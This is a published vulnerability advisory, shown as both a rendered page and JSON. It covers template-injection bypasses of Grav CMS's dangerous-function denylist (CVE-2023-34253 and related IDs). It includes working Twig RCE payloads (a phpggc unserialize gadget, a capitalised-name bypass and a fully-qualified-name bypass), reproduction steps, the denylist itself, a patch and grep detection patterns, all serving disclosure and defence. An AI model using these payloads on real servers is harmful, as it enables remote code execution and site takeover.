Vulnerability Summary:

The denylist introduced in commit 9d6a2d to prevent dangerous functions from being executed via injection of malicious templates was insufficient and could be easily subverted in multiple ways -- (1) using unsafe functions that are not banned, (2) using capitalised callable names, and (3) using fully-qualified names for referencing callables. Consequently, a low privileged attacker with login access to Grav Admin panel and page creation/update permissions is able to inject malicious templates to obtain remote code execution.

Vulnerability Details:

In addressing CVE-2022-2073, a denylist was introduced in commit 9d6a2d to validate and ensure that dangerous functions could not be executed via injection of malicious templates.

The implementation of the denylist can be found in Utils::isDangerousFunction() within /system/src/Grav/Common/Utils.php:

    /**
     * @param string $name
     * @return bool
     */
    public static function isDangerousFunction(string $name): bool
    {
        static $commandExecutionFunctions = [
            'exec',
            'passthru',
            'system',
            'shell_exec',
            'popen',
            'proc_open',
            'pcntl_exec',
        ];

        static $codeExecutionFunctions = [
            'assert',
            'preg_replace',
            'create_function',
            'include',
            'include_once',
            'require',
            'require_once'
        ];

        static $callbackFunctions = [
            'ob_start' => 0,
            'array_diff_uassoc' => -1,
            'array_diff_ukey' => -1,
            'array_filter' => 1,
            'array_intersect_uassoc' => -1,
            'array_intersect_ukey' => -1,
            'array_map' => 0,
            'array_reduce' => 1,
            'array_udiff_assoc' => -1,
            'array_udiff_uassoc' => [-1, -2],
            'array_udiff' => -1,
            'array_uintersect_assoc' => -1,
            'array_uintersect_uassoc' => [-1, -2],
            'array_uintersect' => -1,
            'array_walk_recursive' => 1,
            'array_walk' => 1,
            'assert_options' => 1,
            'uasort' => 1,
            'uksort' => 1,
            'usort' => 1,
            'preg_replace_callback' => 1,
            'spl_autoload_register' => 0,
            'iterator_apply' => 1,
            'call_user_func' => 0,
            'call_user_func_array' => 0,
            'register_shutdown_function' => 0,
            'register_tick_function' => 0,
            'set_error_handler' => 0,
            'set_exception_handler' => 0,
            'session_set_save_handler' => [0, 1, 2, 3, 4, 5],
            'sqlite_create_aggregate' => [2, 3],
            'sqlite_create_function' => 2,
        ];

        static $informationDiscosureFunctions = [
            'phpinfo',
            'posix_mkfifo',
            'posix_getlogin',
            'posix_ttyname',
            'getenv',
            'get_current_user',
            'proc_get_status',
            'get_cfg_var',
            'disk_free_space',
            'disk_total_space',
            'diskfreespace',
            'getcwd',
            'getlastmo',
            'getmygid',
            'getmyinode',
            'getmypid',
            'getmyuid'
        ];

        static $otherFunctions = [
            'extract',
            'parse_str',
            'putenv',
            'ini_set',
            'mail',
            'header',
            'proc_nice',
            'proc_terminate',
            'proc_close',
            'pfsockopen',
            'fsockopen',
            'apache_child_terminate',
            'posix_kill',
            'posix_mkfifo',
            'posix_setpgid',
            'posix_setsid',
            'posix_setuid',
        ];

        if (in_array($name, $commandExecutionFunctions)) {
            return true;
        }

        if (in_array($name, $codeExecutionFunctions)) {
            return true;
        }

        if (isset($callbackFunctions[$name])) {
            return true;
        }

        if (in_array($name, $informationDiscosureFunctions)) {
            return true;
        }

        if (in_array($name, $otherFunctions)) {
            return true;
        }

        return static::isFilesystemFunction($name);
    }

    /**
     * @param string $name
     * @return bool
     */
    public static function isFilesystemFunction(string $name): bool
    {
        static $fileWriteFunctions = [
            'fopen',
            'tmpfile',
            'bzopen',
            'gzopen',
            // write to filesystem (partially in combination with reading)
            'chgrp',
            'chmod',
            'chown',
            'copy',
            'file_put_contents',
            'lchgrp',
            'lchown',
            'link',
            'mkdir',
            'move_uploaded_file',
            'rename',
            'rmdir',
            'symlink',
            'tempnam',
            'touch',
            'unlink',
            'imagepng',
            'imagewbmp',
            'image2wbmp',
            'imagejpeg',
            'imagexbm',
            'imagegif',
            'imagegd',
            'imagegd2',
            'iptcembed',
            'ftp_get',
            'ftp_nb_get',
        ];

        static $fileContentFunctions = [
            'file_get_contents',
            'file',
            'filegroup',
            'fileinode',
            'fileowner',
            'fileperms',
            'glob',
            'is_executable',
            'is_uploaded_file',
            'parse_ini_file',
            'readfile',
            'readlink',
            'realpath',
            'gzfile',
            'readgzfile',
            'stat',
            'imagecreatefromgif',
            'imagecreatefromjpeg',
            'imagecreatefrompng',
            'imagecreatefromwbmp',
            'imagecreatefromxbm',
            'imagecreatefromxpm',
            'ftp_put',
            'ftp_nb_put',
            'hash_update_file',
            'highlight_file',
            'show_source',
            'php_strip_whitespace',
        ];

        static $filesystemFunctions = [
            // read from filesystem
            'file_exists',
            'fileatime',
            'filectime',
            'filemtime',
            'filesize',
            'filetype',
            'is_dir',
            'is_file',
            'is_link',
            'is_readable',
            'is_writable',
            'is_writeable',
            'linkinfo',
            'lstat',
            //'pathinfo',
            'getimagesize',
            'exif_read_data',
            'read_exif_data',
            'exif_thumbnail',
            'exif_imagetype',
            'hash_file',
            'hash_hmac_file',
            'md5_file',
            'sha1_file',
            'get_meta_tags',
        ];

        if (in_array($name, $fileWriteFunctions)) {
            return true;
        }

        if (in_array($name, $fileContentFunctions)) {
            return true;
        }

        if (in_array($name, $filesystemFunctions)) {
            return true;
        }

        return false;
    }

The list of banned functions appears to be adapted from a StackOverflow post. While the denylist looks rather comprehensive, there are actually multiple issues with the denylist implementation: 1. There may be unsafe functions, be it built-in to PHP or user-defined, which are not be blocked. For example, unserialize() and aliases of blocked functions, such as ini_alter(), are not being included in the denylist.
2. A case-sensitive comparison is performed against the denylist, but PHP function names are case-insensitive. This allows using filter('SYSTEM') to trivially bypass the denylist validation check.
3. Fully qualified names can be used when referencing functions, allowing filter('\system') to trivially bypass the denylist validation checks.

Exploit Conditions:

This vulnerability can be exploited if the attacker has access to: 1. an administrator account, or 2. a non-administrative user account with the following permissions granted: - login access to Grav admin panel, and - page creation or update rights

Reproduction Steps:

  1. Log in to Grav Admin using an administrator account.
  2. Navigate to Accounts > Add, and ensure that the following permissions are assigned when creating a new low-privileged user:
    • Login to Admin - Allowed
    • Page Update - Allowed
  3. Log out of Grav Admin, and log back in using the account created in step 2.
  4. Navigate to http://<grav_installation>/admin/pages/home.
  5. Click the Advanced tab and select the checkbox beside Twig to ensure that Twig processing is enabled for the modified webpage.
  6. Under the Content tab, insert the following payload within the editor: ~~~twig // Method 1: Using unserialize() to trigger system('id') call // Serialized payloaed generated using the phpggc tool: ./phpggc -b Monolog/RCE7 system 'id' // {{ 'TzozNzoiTW9ub2xvZ1xIYW5kbGVyXEZpbmdlcnNDcm9zc2VkSGFuZGxlciI6NDp7czoxNjoiACoAcGFzc3RocnVMZXZlbCI7aTowO3M6MTA6IgAqAGhhbmRsZXIiO3I6MTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czoyOiJpZCI7czo1OiJsZXZlbCI7aTowO319czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czozOiJwb3MiO2k6MTtzOjY6InN5c3RlbSI7fX0=' | base64_decode | array | filter('unserialize') }}

// Method 2: Trigger system('id') via case-insensitive function names {{ ['id'] | filter('System') }}

// Method 3: Trigger system('id') via fully qualified names when referencing functions {{ ['id'] | filter('\system') }} ~~~
7. Click the Preview button. Observe that the output of the id shell command is returned in the preview.

Suggested Mitigations:

It is recommended to review the list of functions, both default functions in PHP and user-defined functions, and include missing unsafe functions in the denylist. A non-exhaustive list of missing unsafe functions discovered is shown below: - unserialize() - ini_alter() - simplexml_load_file() - simplexml_load_string() - forward_static_call() - forward_static_call_array()

The Utils::isDangerousFunction() function in /system/src/Grav/Common/Utils.php should also be patched to disallow usage of fully qualified names when specifying callables, as well as ensure that validation performed on the $name parameter is case-insensitive.

For example, ~~~diff php ... abstract class Utils { ... /* * @param string $name * @return bool / public static function isDangerousFunction(string $name): bool { ... + if ($arrow instanceof Closure) { + return false; + }

  • $name = strtolower($name);
  • if (strpos($name, "\") !== false) {
  • return false;
  • }
    if (in_array($name, $commandExecutionFunctions)) {
    return true;
}

if (in_array($name, $codeExecutionFunctions)) {
    return true;
}

if (isset($callbackFunctions[$name])) {
    return true;
}

if (in_array($name, $informationDiscosureFunctions)) {
    return true;
}

if (in_array($name, $otherFunctions)) {
    return true;
}

return static::isFilesystemFunction($name);

    } ... } ~~~

End users should also ensure that twig.undefined_functions and twig.undefined_filters properties in /path/to/webroot/system/config/system.yaml configuration file are set to false to disallow Twig from treating undefined filters/functions as PHP functions and executing them.

Detection Guidance:

The following strategies may be used to detect potential exploitation attempts. 1. Searching within Markdown pages using the following shell command:
grep -Priz -e '(ini_alter|unserialize|simplexml_load_file|simplexml_load_string|forward_static_call|forward_static_call_array|\|\s*(filter|map|reduce))\s*\(' /path/to/webroot/user/pages/ 2. Searching within Doctrine cache data using the following shell command:
grep -Priz -e '(ini_alter|unserialize|simplexml_load_file|simplexml_load_string|forward_static_call|forward_static_call_array|\|\s*(filter|map|reduce))\s*\(' --include '*.doctrinecache.data' /path/to/webroot/cache/ 3. Searching within Twig cache using the following shell command: grep -Priz -e '(ini_alter|unserialize|simplexml_load_file|simplexml_load_string|forward_static_call|forward_static_call_array|twig_array_(filter|map|reduce))\s*\(' /path/to/webroot/cache/twig/ 4. Searching within compiled Twig template files using the following shell command:
grep -Priz -e '(ini_alter|unserialize|simplexml_load_file|simplexml_load_string|forward_static_call|forward_static_call_array|\|\s*(filter|map|reduce))\s*\(' /path/to/webroot/cache/compiled/files/

Note that it is not possible to detect indicators of compromise reliably using the Grav log file (located at /path/to/webroot/logs/grav.log by default), as successful exploitation attempts do not generate any additional logs. However, it is worthwhile to examine any PHP errors or warnings logged to determine the existence of any failed exploitation attempts.

Credits:

Ngo Wei Lin (@Creastery) & Wang Hengyue (@w_hy_04) of STAR Labs SG Pte. Ltd. (@starlabs_sg)

The scheduled disclosure date is 25th July, 2023. Disclosure at an earlier date is also possible if agreed upon by all parties.

Kindly note that STAR Labs reserved and assigned the following CVE identifiers to the respective vulnerabilities presented in this report:
1. CVE-2023-30592 Server-side Template Injection (SSTI) in getgrav/grav <= v1.7.40 allows Grav Admin users with page creation or update rights to bypass the dangerous functions denylist check in Utils::isDangerousFunction() and to achieve remote code execution via usage of unsafe functions, such as unserialize(), that are not blocked. This is a bypass of CVE-2022-2073. 2. CVE-2023-30593 Server-side Template Injection (SSTI) in getgrav/grav <= v1.7.40 allows Grav Admin users with page creation or update rights to bypass the dangerous functions denylist check in Utils::isDangerousFunction() and to achieve remote code execution via usage of capitalised names, supplied as strings, when referencing callables. This is a bypass of CVE-2022-2073. 3. CVE-2023-30594 Server-side Template Injection (SSTI) in getgrav/grav <= v1.7.40 allows Grav Admin users with page creation or update rights to bypass the dangerous functions denylist check in Utils::isDangerousFunction() and to achieve remote code execution via usage of fully-qualified names, supplied as strings, when referencing callables. This is a bypass of CVE-2022-2073.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "getgrav/grav"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.42"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-34253"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-06-16T19:36:52Z",
    "nvd_published_at": "2023-06-14T23:15:11Z",
    "severity": "HIGH"
  },
  "details": "Hi, \n\nactually we have sent the bug report to security@getgrav.org on 27th March 2023 and on 10th April 2023.\n\n# Grav Server-side Template Injection (SSTI) via Denylist Bypass Vulnerability\n\n## Summary:  \n| **Product**             | Grav CMS                                      |\n| ----------------------- | --------------------------------------------- |\n| **Vendor**              | Grav                                          |\n| **Severity**            | High - Users with login access to Grav Admin panel and page creation/update permissions are able to obtain remote code/command execution |\n| **Affected Versions**   | \u003c= [v1.7.40](https://github.com/getgrav/grav/tree/1.7.40) (Commit [685d762](https://github.com/getgrav/grav/commit/685d76231a057416651ed192a6a2e83720800e61)) (Latest version as of writing) |\n| **Tested Versions**     | v1.7.40                                       |\n| **Internal Identifier** | STAR-2023-0006                                |\n| **CVE Identifier**      | Reserved CVE-2023-30592, CVE-2023-30593, CVE-2023-30594                                           |\n| **CWE(s)**              | CWE-184: Incomplete List of Disallowed Inputs, CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine |\n\n## CVSS3.1 Scoring System:  \n**Base Score:** 7.2 (High)  \n**Vector String:** `CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H`  \n| **Metric**                   | **Value** |\n| ---------------------------- | --------- |\n| **Attack Vector (AV)**       | Network   |\n| **Attack Complexity (AC)**   | Low       |\n| **Privileges Required (PR)** | High      |\n| **User Interaction (UI)**    | None      |\n| **Scope (S)**                | Unchanged |\n| **Confidentiality \\(C)**     | High      |\n| **Integrity (I)**            | High      |\n| **Availability (A)**         | High      |\n\n## Product Overview:  \nGrav is a PHP-based flat-file content management system (CMS) designed to provide a fast and simple way to build websites. It supports rendering of web pages written in Markdown and Twig expressions, and provides an administration panel to manage the entire website via an optional Admin plugin.\n\n## Vulnerability Summary:  \nThe denylist introduced in commit [9d6a2d](https://www.github.com/getgrav/grav/commit/9d6a2dba09fd4e56f5cdfb9a399caea355bfeb83) to prevent dangerous functions from being executed via injection of malicious templates was insufficient and could be easily subverted in multiple ways -- (1) using unsafe functions that are not banned, (2) using capitalised callable names, and (3) using fully-qualified names for referencing callables. Consequently, a low privileged attacker with login access to Grav Admin panel and page creation/update permissions is able to inject malicious templates to obtain remote code execution.\n\n## Vulnerability Details:  \nIn addressing [CVE-2022-2073](https://huntr.dev/bounties/3ef640e6-9e25-4ecb-8ec1-64311d63fe66/), a denylist was introduced in commit [9d6a2d](https://www.github.com/getgrav/grav/commit/9d6a2dba09fd4e56f5cdfb9a399caea355bfeb83) to validate and ensure that dangerous functions could not be executed via injection of malicious templates.\n\nThe implementation of the denylist can be found in `Utils::isDangerousFunction()` within [/system/src/Grav/Common/Utils.php](https://github.com/getgrav/grav/blob/1.7.40/system/src/Grav/Common/Utils.php#L1952-L2190):\n~~~php\n    /**\n     * @param string $name\n     * @return bool\n     */\n    public static function isDangerousFunction(string $name): bool\n    {\n        static $commandExecutionFunctions = [\n            \u0027exec\u0027,\n            \u0027passthru\u0027,\n            \u0027system\u0027,\n            \u0027shell_exec\u0027,\n            \u0027popen\u0027,\n            \u0027proc_open\u0027,\n            \u0027pcntl_exec\u0027,\n        ];\n\n        static $codeExecutionFunctions = [\n            \u0027assert\u0027,\n            \u0027preg_replace\u0027,\n            \u0027create_function\u0027,\n            \u0027include\u0027,\n            \u0027include_once\u0027,\n            \u0027require\u0027,\n            \u0027require_once\u0027\n        ];\n\n        static $callbackFunctions = [\n            \u0027ob_start\u0027 =\u003e 0,\n            \u0027array_diff_uassoc\u0027 =\u003e -1,\n            \u0027array_diff_ukey\u0027 =\u003e -1,\n            \u0027array_filter\u0027 =\u003e 1,\n            \u0027array_intersect_uassoc\u0027 =\u003e -1,\n            \u0027array_intersect_ukey\u0027 =\u003e -1,\n            \u0027array_map\u0027 =\u003e 0,\n            \u0027array_reduce\u0027 =\u003e 1,\n            \u0027array_udiff_assoc\u0027 =\u003e -1,\n            \u0027array_udiff_uassoc\u0027 =\u003e [-1, -2],\n            \u0027array_udiff\u0027 =\u003e -1,\n            \u0027array_uintersect_assoc\u0027 =\u003e -1,\n            \u0027array_uintersect_uassoc\u0027 =\u003e [-1, -2],\n            \u0027array_uintersect\u0027 =\u003e -1,\n            \u0027array_walk_recursive\u0027 =\u003e 1,\n            \u0027array_walk\u0027 =\u003e 1,\n            \u0027assert_options\u0027 =\u003e 1,\n            \u0027uasort\u0027 =\u003e 1,\n            \u0027uksort\u0027 =\u003e 1,\n            \u0027usort\u0027 =\u003e 1,\n            \u0027preg_replace_callback\u0027 =\u003e 1,\n            \u0027spl_autoload_register\u0027 =\u003e 0,\n            \u0027iterator_apply\u0027 =\u003e 1,\n            \u0027call_user_func\u0027 =\u003e 0,\n            \u0027call_user_func_array\u0027 =\u003e 0,\n            \u0027register_shutdown_function\u0027 =\u003e 0,\n            \u0027register_tick_function\u0027 =\u003e 0,\n            \u0027set_error_handler\u0027 =\u003e 0,\n            \u0027set_exception_handler\u0027 =\u003e 0,\n            \u0027session_set_save_handler\u0027 =\u003e [0, 1, 2, 3, 4, 5],\n            \u0027sqlite_create_aggregate\u0027 =\u003e [2, 3],\n            \u0027sqlite_create_function\u0027 =\u003e 2,\n        ];\n\n        static $informationDiscosureFunctions = [\n            \u0027phpinfo\u0027,\n            \u0027posix_mkfifo\u0027,\n            \u0027posix_getlogin\u0027,\n            \u0027posix_ttyname\u0027,\n            \u0027getenv\u0027,\n            \u0027get_current_user\u0027,\n            \u0027proc_get_status\u0027,\n            \u0027get_cfg_var\u0027,\n            \u0027disk_free_space\u0027,\n            \u0027disk_total_space\u0027,\n            \u0027diskfreespace\u0027,\n            \u0027getcwd\u0027,\n            \u0027getlastmo\u0027,\n            \u0027getmygid\u0027,\n            \u0027getmyinode\u0027,\n            \u0027getmypid\u0027,\n            \u0027getmyuid\u0027\n        ];\n\n        static $otherFunctions = [\n            \u0027extract\u0027,\n            \u0027parse_str\u0027,\n            \u0027putenv\u0027,\n            \u0027ini_set\u0027,\n            \u0027mail\u0027,\n            \u0027header\u0027,\n            \u0027proc_nice\u0027,\n            \u0027proc_terminate\u0027,\n            \u0027proc_close\u0027,\n            \u0027pfsockopen\u0027,\n            \u0027fsockopen\u0027,\n            \u0027apache_child_terminate\u0027,\n            \u0027posix_kill\u0027,\n            \u0027posix_mkfifo\u0027,\n            \u0027posix_setpgid\u0027,\n            \u0027posix_setsid\u0027,\n            \u0027posix_setuid\u0027,\n        ];\n\n        if (in_array($name, $commandExecutionFunctions)) {\n            return true;\n        }\n\n        if (in_array($name, $codeExecutionFunctions)) {\n            return true;\n        }\n\n        if (isset($callbackFunctions[$name])) {\n            return true;\n        }\n\n        if (in_array($name, $informationDiscosureFunctions)) {\n            return true;\n        }\n\n        if (in_array($name, $otherFunctions)) {\n            return true;\n        }\n\n        return static::isFilesystemFunction($name);\n    }\n\n    /**\n     * @param string $name\n     * @return bool\n     */\n    public static function isFilesystemFunction(string $name): bool\n    {\n        static $fileWriteFunctions = [\n            \u0027fopen\u0027,\n            \u0027tmpfile\u0027,\n            \u0027bzopen\u0027,\n            \u0027gzopen\u0027,\n            // write to filesystem (partially in combination with reading)\n            \u0027chgrp\u0027,\n            \u0027chmod\u0027,\n            \u0027chown\u0027,\n            \u0027copy\u0027,\n            \u0027file_put_contents\u0027,\n            \u0027lchgrp\u0027,\n            \u0027lchown\u0027,\n            \u0027link\u0027,\n            \u0027mkdir\u0027,\n            \u0027move_uploaded_file\u0027,\n            \u0027rename\u0027,\n            \u0027rmdir\u0027,\n            \u0027symlink\u0027,\n            \u0027tempnam\u0027,\n            \u0027touch\u0027,\n            \u0027unlink\u0027,\n            \u0027imagepng\u0027,\n            \u0027imagewbmp\u0027,\n            \u0027image2wbmp\u0027,\n            \u0027imagejpeg\u0027,\n            \u0027imagexbm\u0027,\n            \u0027imagegif\u0027,\n            \u0027imagegd\u0027,\n            \u0027imagegd2\u0027,\n            \u0027iptcembed\u0027,\n            \u0027ftp_get\u0027,\n            \u0027ftp_nb_get\u0027,\n        ];\n\n        static $fileContentFunctions = [\n            \u0027file_get_contents\u0027,\n            \u0027file\u0027,\n            \u0027filegroup\u0027,\n            \u0027fileinode\u0027,\n            \u0027fileowner\u0027,\n            \u0027fileperms\u0027,\n            \u0027glob\u0027,\n            \u0027is_executable\u0027,\n            \u0027is_uploaded_file\u0027,\n            \u0027parse_ini_file\u0027,\n            \u0027readfile\u0027,\n            \u0027readlink\u0027,\n            \u0027realpath\u0027,\n            \u0027gzfile\u0027,\n            \u0027readgzfile\u0027,\n            \u0027stat\u0027,\n            \u0027imagecreatefromgif\u0027,\n            \u0027imagecreatefromjpeg\u0027,\n            \u0027imagecreatefrompng\u0027,\n            \u0027imagecreatefromwbmp\u0027,\n            \u0027imagecreatefromxbm\u0027,\n            \u0027imagecreatefromxpm\u0027,\n            \u0027ftp_put\u0027,\n            \u0027ftp_nb_put\u0027,\n            \u0027hash_update_file\u0027,\n            \u0027highlight_file\u0027,\n            \u0027show_source\u0027,\n            \u0027php_strip_whitespace\u0027,\n        ];\n\n        static $filesystemFunctions = [\n            // read from filesystem\n            \u0027file_exists\u0027,\n            \u0027fileatime\u0027,\n            \u0027filectime\u0027,\n            \u0027filemtime\u0027,\n            \u0027filesize\u0027,\n            \u0027filetype\u0027,\n            \u0027is_dir\u0027,\n            \u0027is_file\u0027,\n            \u0027is_link\u0027,\n            \u0027is_readable\u0027,\n            \u0027is_writable\u0027,\n            \u0027is_writeable\u0027,\n            \u0027linkinfo\u0027,\n            \u0027lstat\u0027,\n            //\u0027pathinfo\u0027,\n            \u0027getimagesize\u0027,\n            \u0027exif_read_data\u0027,\n            \u0027read_exif_data\u0027,\n            \u0027exif_thumbnail\u0027,\n            \u0027exif_imagetype\u0027,\n            \u0027hash_file\u0027,\n            \u0027hash_hmac_file\u0027,\n            \u0027md5_file\u0027,\n            \u0027sha1_file\u0027,\n            \u0027get_meta_tags\u0027,\n        ];\n\n        if (in_array($name, $fileWriteFunctions)) {\n            return true;\n        }\n\n        if (in_array($name, $fileContentFunctions)) {\n            return true;\n        }\n\n        if (in_array($name, $filesystemFunctions)) {\n            return true;\n        }\n\n        return false;\n    }\n~~~\n\nThe list of banned functions appears to be adapted from a [StackOverflow post](https://stackoverflow.com/a/3697776). While the denylist looks rather comprehensive, there are actually multiple issues with the denylist implementation:\n1. There may be unsafe functions, be it built-in to PHP or user-defined, which are not be blocked. For example, `unserialize()` and aliases of blocked functions, such as `ini_alter()`, are not being included in the denylist.  \n2. A case-sensitive comparison is performed against the denylist, but PHP function names are case-insensitive. This allows using `filter(\u0027SYSTEM\u0027)` to trivially bypass the denylist validation check.  \n3. Fully qualified names can be used when referencing functions, allowing `filter(\u0027\\system\u0027)` to trivially bypass the denylist validation checks.  \n\n## Exploit Conditions:    \nThis vulnerability can be exploited if the attacker has access to:\n1. an administrator account, or\n2. a non-administrative user account with the following permissions granted:\n    - login access to Grav admin panel, and\n    - page creation or update rights\n\n## Reproduction Steps:  \n1. Log in to Grav Admin using an administrator account.\n2. Navigate to `Accounts \u003e Add`, and ensure that the following permissions are assigned when creating a new low-privileged user:\n    * Login to Admin - Allowed\n    * Page Update - Allowed\n3. Log out of Grav Admin, and log back in using the account created in step 2.\n4. Navigate to `http://\u003cgrav_installation\u003e/admin/pages/home`.\n5. Click the `Advanced` tab and select the checkbox beside `Twig` to ensure that Twig processing is enabled for the modified webpage.\n6. Under the `Content` tab, insert the following payload within the editor:\n   ~~~twig\n   // Method 1: Using unserialize() to trigger system(\u0027id\u0027) call\n   // Serialized payloaed generated using the phpggc tool: ./phpggc -b Monolog/RCE7 system \u0027id\u0027\n   // {{ \u0027TzozNzoiTW9ub2xvZ1xIYW5kbGVyXEZpbmdlcnNDcm9zc2VkSGFuZGxlciI6NDp7czoxNjoiACoAcGFzc3RocnVMZXZlbCI7aTowO3M6MTA6IgAqAGhhbmRsZXIiO3I6MTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czoyOiJpZCI7czo1OiJsZXZlbCI7aTowO319czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czozOiJwb3MiO2k6MTtzOjY6InN5c3RlbSI7fX0=\u0027 | base64_decode | array | filter(\u0027unserialize\u0027) }}\n   \n   // Method 2: Trigger system(\u0027id\u0027) via case-insensitive function names\n   {{ [\u0027id\u0027] | filter(\u0027System\u0027) }}\n   \n   // Method 3: Trigger system(\u0027id\u0027) via fully qualified names when referencing functions\n   {{ [\u0027id\u0027] | filter(\u0027\\\\system\u0027) }}\n   ~~~   \n7. Click the Preview button. Observe that the output of the `id` shell command is returned in the preview.\n\n## Suggested Mitigations:  \nIt is recommended to review the list of functions, both default functions in PHP and user-defined functions, and include missing unsafe functions in the denylist. A non-exhaustive list of missing unsafe functions discovered is shown below:\n- `unserialize()`\n- `ini_alter()`\n- `simplexml_load_file()`\n- `simplexml_load_string()`\n- `forward_static_call()`\n- `forward_static_call_array()`\n\nThe `Utils::isDangerousFunction()` function in [/system/src/Grav/Common/Utils.php](https://github.com/getgrav/grav/blob/1.7.40/system/src/Grav/Common/Utils.php#L1956-L2074) should also be patched to disallow usage of fully qualified names when specifying callables, as well as ensure that validation performed on the `$name` parameter is case-insensitive.\n\nFor example,\n~~~diff php\n...\nabstract class Utils\n{\n    ...\n    /**\n     * @param string $name\n     * @return bool\n     */\n    public static function isDangerousFunction(string $name): bool\n    {\n        ...\n+       if ($arrow instanceof Closure) {\n+           return false;\n+       }\n\n+       $name = strtolower($name);\n+       if (strpos($name, \"\\\\\") !== false) {\n+           return false;\n+       }\n\n        if (in_array($name, $commandExecutionFunctions)) {\n            return true;\n        }\n\n        if (in_array($name, $codeExecutionFunctions)) {\n            return true;\n        }\n\n        if (isset($callbackFunctions[$name])) {\n            return true;\n        }\n\n        if (in_array($name, $informationDiscosureFunctions)) {\n            return true;\n        }\n\n        if (in_array($name, $otherFunctions)) {\n            return true;\n        }\n\n        return static::isFilesystemFunction($name);\n    }\n    ...\n}\n~~~\n\nEnd users should also ensure that `twig.undefined_functions` and `twig.undefined_filters` properties in `/path/to/webroot/system/config/system.yaml` configuration file are set to `false` to disallow Twig from treating undefined filters/functions as PHP functions and executing them.\n\n## Detection Guidance:  \nThe following strategies may be used to detect potential exploitation attempts.\n1. Searching within Markdown pages using the following shell command:  \n   `grep -Priz -e \u0027(ini_alter|unserialize|simplexml_load_file|simplexml_load_string|forward_static_call|forward_static_call_array|\\|\\s*(filter|map|reduce))\\s*\\(\u0027 /path/to/webroot/user/pages/`\n2. Searching within Doctrine cache data using the following shell command:  \n   `grep -Priz -e \u0027(ini_alter|unserialize|simplexml_load_file|simplexml_load_string|forward_static_call|forward_static_call_array|\\|\\s*(filter|map|reduce))\\s*\\(\u0027 --include \u0027*.doctrinecache.data\u0027 /path/to/webroot/cache/`\n3. Searching within Twig cache using the following shell command: \n   `grep -Priz -e \u0027(ini_alter|unserialize|simplexml_load_file|simplexml_load_string|forward_static_call|forward_static_call_array|twig_array_(filter|map|reduce))\\s*\\(\u0027 /path/to/webroot/cache/twig/`\n4. Searching within compiled Twig template files using the following shell command:  \n   `grep -Priz -e \u0027(ini_alter|unserialize|simplexml_load_file|simplexml_load_string|forward_static_call|forward_static_call_array|\\|\\s*(filter|map|reduce))\\s*\\(\u0027 /path/to/webroot/cache/compiled/files/`\n\nNote that it is not possible to detect indicators of compromise reliably using the Grav log file (located at `/path/to/webroot/logs/grav.log` by default), as successful exploitation attempts do not generate any additional logs. However, it is worthwhile to examine any PHP errors or warnings logged to determine the existence of any failed exploitation attempts.\n\n## Credits:  \nNgo Wei Lin ([@Creastery](https://twitter.com/Creastery)) \u0026 Wang Hengyue ([@w_hy_04](https://twitter.com/w_hy_04)) of STAR Labs SG Pte. Ltd. ([@starlabs_sg](https://twitter.com/starlabs_sg))\n\nThe scheduled disclosure date is _**25th July, 2023**_. Disclosure at an earlier date is also possible if agreed upon by all parties.  \n\nKindly note that STAR Labs reserved and assigned the following CVE identifiers to the respective vulnerabilities presented in this report:  \n1. **CVE-2023-30592**\n    Server-side Template Injection (SSTI) in getgrav/grav \u003c= v1.7.40 allows Grav Admin users with page creation or update rights to bypass the dangerous functions denylist check in `Utils::isDangerousFunction()` and to achieve remote code execution via usage of unsafe functions, such as `unserialize()`, that are not blocked. This is a bypass of CVE-2022-2073.\n2. **CVE-2023-30593**\n    Server-side Template Injection (SSTI) in getgrav/grav \u003c= v1.7.40 allows Grav Admin users with page creation or update rights to bypass the dangerous functions denylist check in `Utils::isDangerousFunction()` and to achieve remote code execution via usage of capitalised names, supplied as strings, when referencing callables. This is a bypass of CVE-2022-2073.\n3. **CVE-2023-30594**\n    Server-side Template Injection (SSTI) in getgrav/grav \u003c= v1.7.40 allows Grav Admin users with page creation or update rights to bypass the dangerous functions denylist check in `Utils::isDangerousFunction()` and to achieve remote code execution via usage of fully-qualified names, supplied as strings, when referencing callables. This is a bypass of CVE-2022-2073.",
  "id": "GHSA-j3v8-v77f-fvgm",
  "modified": "2023-06-16T19:36:52Z",
  "published": "2023-06-16T19:36:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-j3v8-v77f-fvgm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34253"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/commit/244758d4383034fe4cd292d41e477177870b65ec"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/commit/71bbed12f950de8335006d7f91112263d8504f1b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/commit/8c2c1cb72611a399f13423fc6d0e1d998c03e5c8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/commit/9d01140a63c77075ef09b26ef57cf186138151a5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getgrav/grav"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/blob/1.7.40/system/src/Grav/Common/Utils.php#L1952-L2190"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/3ef640e6-9e25-4ecb-8ec1-64311d63fe66"
    },
    {
      "type": "WEB",
      "url": "https://www.github.com/getgrav/grav/commit/9d6a2dba09fd4e56f5cdfb9a399caea355bfeb83"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
